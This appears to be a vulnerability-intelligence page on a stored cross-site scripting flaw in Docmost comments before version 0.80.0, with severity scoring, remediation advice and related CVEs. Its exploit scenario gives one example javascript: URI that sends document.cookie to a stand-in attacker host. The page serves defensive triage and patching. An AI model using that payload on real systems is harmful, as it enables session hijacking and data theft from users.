Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker authenticates to Docmost instance
-
DeliveryPosts comment with javascript: URI embedded as hyperlink
-
ExploitVictim navigates to page and views comment
-
ExecutionVictim clicks malicious link
-
PersistJavaScript executes in victim's browser under Docmost origin
-
ImpactSession token or sensitive data exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a valid Docmost account with permission to post comments on pages (CVSS PR:L - low privilege authenticated access). The victim must actively click the malicious hyperlink embedded in the comment (CVSS UI:R - required user interaction). The instance must be running Docmost prior to version 0.80.0. No non-default configuration is required beyond the standard comment feature being available to users. Limiting factors are: the authentication barrier preventing unauthenticated exploitation, the mandatory victim click preventing passive exploitation, and the impact ceiling of low-integrity/low-confidentiality browser-scope XSS rather than server-side compromise. |
| Impact | The CVSS 5.4 Medium score is appropriate for this stored XSS with changed scope. Key constraining signals: PR:L requires the attacker to hold a valid Docmost account with commenting permissions, UI:R mandates the victim actively click the malicious link (not a passive drive-by), and C:L/I:L caps impact to session-level data theft or limited in-context actions rather than full system compromise. SSVC corroborates this: Automatable is 'no' (requires victim interaction per UI:R) and Technical Impact is 'partial'. EPSS at 0.03% (8th percentile) is consistent with a stored XSS in a niche platform with no known public exploit. No CISA KEV listing and SSVC exploitation status 'none' further reduce urgency. This is a genuine, patch-worthy vulnerability but does not warrant emergency response - it is appropriate for a standard patch cycle, particularly given the authentication prerequisite on the attacker side. |
| Exploit ScenarioDerived | An authenticated Docmost user with comment access inserts a hyperlink in a page comment where the href is set to a javascript: URI (for example, javascript:fetch('https://attacker.example/c?d='+document.cookie)). A colleague or administrator reviews the page, sees the innocuous-looking link text, and clicks it - triggering session cookie exfiltration or in-context actions (page edits, data reads) on behalf of the victim. No public exploit code has been identified at time of analysis, but the attack primitive is trivial to construct manually by anyone familiar with javascript: URI injection. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Stored cross-site scripting in Docmost's comment system allows authenticated users to plant javascript: URI hyperlinks that execute arbitrary JavaScript when victims click them. All Docmost instances prior to version 0.80.0 are affected (CPE: cpe:2.3:a:docmost:docmost:*). No active exploitation has been confirmed - SSVC exploitation status is 'none' and the vulnerability is absent from CISA KEV - and EPSS at 0.03% (8th percentile) indicates minimal real-world exploitation probability. Vendor-released patch is available in version 0.80.0.
RemediationAI
Upgrade Docmost to version 0.80.0 or later, the vendor-confirmed fixed release per advisory GHSA-4gv6-jw3v-wc34 at https://github.com/docmost/docmost/security/advisories/GHSA-4gv6-jw3v-wc34. If immediate upgrade is not feasible, restrict commenting permissions to only explicitly trusted and authenticated users, reducing the pool of potential attackers - note this trades collaboration functionality for security posture. Deploying a Content Security Policy (CSP) header that includes 'script-src' without 'unsafe-inline' and explicitly blocks javascript: URI navigation (via 'default-src' or 'navigate-to' directives) can mitigate execution of injected payloads in modern browsers; however, CSP effectiveness depends on correct web server or reverse-proxy configuration and requires testing against Docmost's frontend to avoid breaking legitimate functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Docmost is an open-source collaborative wiki and documentation platform. The flaw is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): when a user inserts a hyperlink into a comment, Docmost fails to validate or sanitize the URL scheme, permitting the javascript: URI to pass through to rendered HTML. When a victim user clicks the link, the browser executes the embedded JavaScript within Docmost's origin context, inheriting that origin's session cookies and storage. The CVSS S:C (Changed Scope) metric confirms the payload crosses trust boundaries from the comment author's context to the victim's active session, a defining characteristic of stored XSS exploited via user-clickable links.
Know when Docmost gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Authenticated commenter required (PR:L), victim must click link (UI:R), XSS crosses into victim session scope (S:C); no availability impact applies.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
3DescriptionCVE.org
Docmost is open-source collaborative wiki and documentation software. Prior to 0.80.0, when leaving a comment on a page, it is possible to include a JavaScript URI as the link. When a user clicks on the link the JavaScript executes. This vulnerability is fixed in 0.80.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Unauthenticated path traversal in Docmost v0.21.0's avatar attachment endpoint allows remote attackers to read arbitrary
Stored XSS in Docmost before version 0.25.0 allows authenticated attackers to inject malicious scripts into public share
Docmost versions 0.21.0 through 0.23.x contain a path traversal vulnerability in the zip import feature that allows auth
Stored XSS in Docmost 0.3.0-0.23.2 allows authenticated users to execute arbitrary JavaScript in the browsers of documen
Arbitrary local file and directory deletion on Docmost deployments that use local storage, exploitable by any authentica
Uncontrolled archive extraction in Docmost 0.21.0 through 0.95.0 lets any authenticated workspace member who holds edit
Docmost versions 0.3.0 through 0.70.x allow authenticated users with low privileges to overwrite arbitrary attachments b
Stored cross-site scripting (XSS) in Docmost prior to version 0.71.0 allows authenticated users to inject malicious `jav
Unauthenticated path traversal in Docmost versions prior to 0.80.1 allows a remote attacker to read files from local sto
Workspace ADMIN accounts in Docmost prior to 0.90.1 can mint OWNER-level accounts through the workspace invitation flow,
Stored cross-site scripting (XSS) in Docmost prior to version 0.70.0 allows authenticated attackers to inject malicious
Authenticated workspace members in Docmost prior to 0.90.1 can read confidential sync-block content from private spaces
EUVD-2026-24487
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB